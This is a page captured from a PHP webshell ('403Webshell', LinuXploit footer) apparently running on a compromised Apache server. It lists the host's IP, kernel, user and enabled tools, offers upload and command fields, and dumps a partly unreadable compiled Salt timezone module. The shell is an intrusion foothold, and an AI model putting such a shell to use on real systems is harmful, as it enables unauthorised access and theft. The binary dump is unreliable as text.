403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/timezone.cpython-310.pyc
o

;jY�@s2dZddlZddlmZmZdd�Zd	dd�ZdS)
a.
Management of timezones
=======================

The timezone can be managed for the system:

.. code-block:: yaml

    America/Denver:
      timezone.system

The system and the hardware clock are not necessarily set to the same time.
By default, the hardware clock is set to localtime, meaning it is set to the
same time as the system clock. If `utc` is set to True, then the hardware clock
will be set to UTC, and the system clock will be an offset of that.

.. code-block:: yaml

    America/Denver:
      timezone.system:
        - utc: True

.. _here: https://help.ubuntu.com/community/UbuntuTime#Multiple_Boot_Systems_Time_Conflicts

The Ubuntu community documentation contains an explanation of this setting, as
it applies to systems that dual-boot with Windows. This is explained in greater
detail here_.
�N)�CommandExecutionError�SaltInvocationErrorcCsdtvrdSdS)zC
    Only load if the timezone module is available in __salt__
    ztimezone.get_zoneT)Fz#timezone module could not be loaded)�__salt__�rr�H/opt/saltstack/salt/lib/python3.10/site-packages/salt/states/timezone.py�__virtual__"srTc

Cs(|iddd�}d}d}ztd|�}Wn"ttfy5}zd|d<d�||�|d<|WYd}~Sd}~wwd	}g}td
�dkrCd}|d	urUd	|d<|�d|�d
��nd	}tjj��sx|rj||krjd|d<d	}n|rx||krx|�d|���|dd	ur�d�	|�|d<|St
dr�g}|dur�|�d|�d��tjj��s�|r�||kr�|�d|���d�	|�|d<|Sg}|r�td|�r�||dd<|�d|���d	|d<n	|�d�d|d<|�rd}	|r�d}	td|	�r�||dd<|�d|���d	|d<n|�d|���d|d<d�	|�|d<|S)a�
    Set the timezone for the system.

    name
        The name of the timezone to use (e.g.: America/Denver)

    utc
        Whether or not to set the hardware clock to UTC (default is True).

        .. note::
            This parameter has no effect on Windows. The Windows hardware
            clock is always set to local time and cannot be configured to
            UTC via Salt. The state will succeed regardless of the value
            passed here.
    N�)�name�changes�result�commentFztimezone.zone_comparerz>Unable to compare desired timezone '{}' to system timezone: {}rTztimezone.get_hwclock�	localtimez	Timezone z already setzUTC already set to z, �testz needs to be setzUTC needs to be set to ztimezone.set_zoner
�timezonez
Set timezone zFailed to set timezone�UTCztimezone.set_hwclock�utczSet UTC to zFailed to set UTC to )rrr�format�append�salt�utils�platformZ
is_windows�joinZ__opts__)
r	r�retZdo_utcZdo_zoneZcompzone�excZmyutc�messagesZclockrrr�system+sv����	


r)T)�__doc__Zsalt.utils.platformrZsalt.exceptionsrrrrrrrr�<module>s
	

Youez - 2016 - github.com/yon3zu
LinuXploit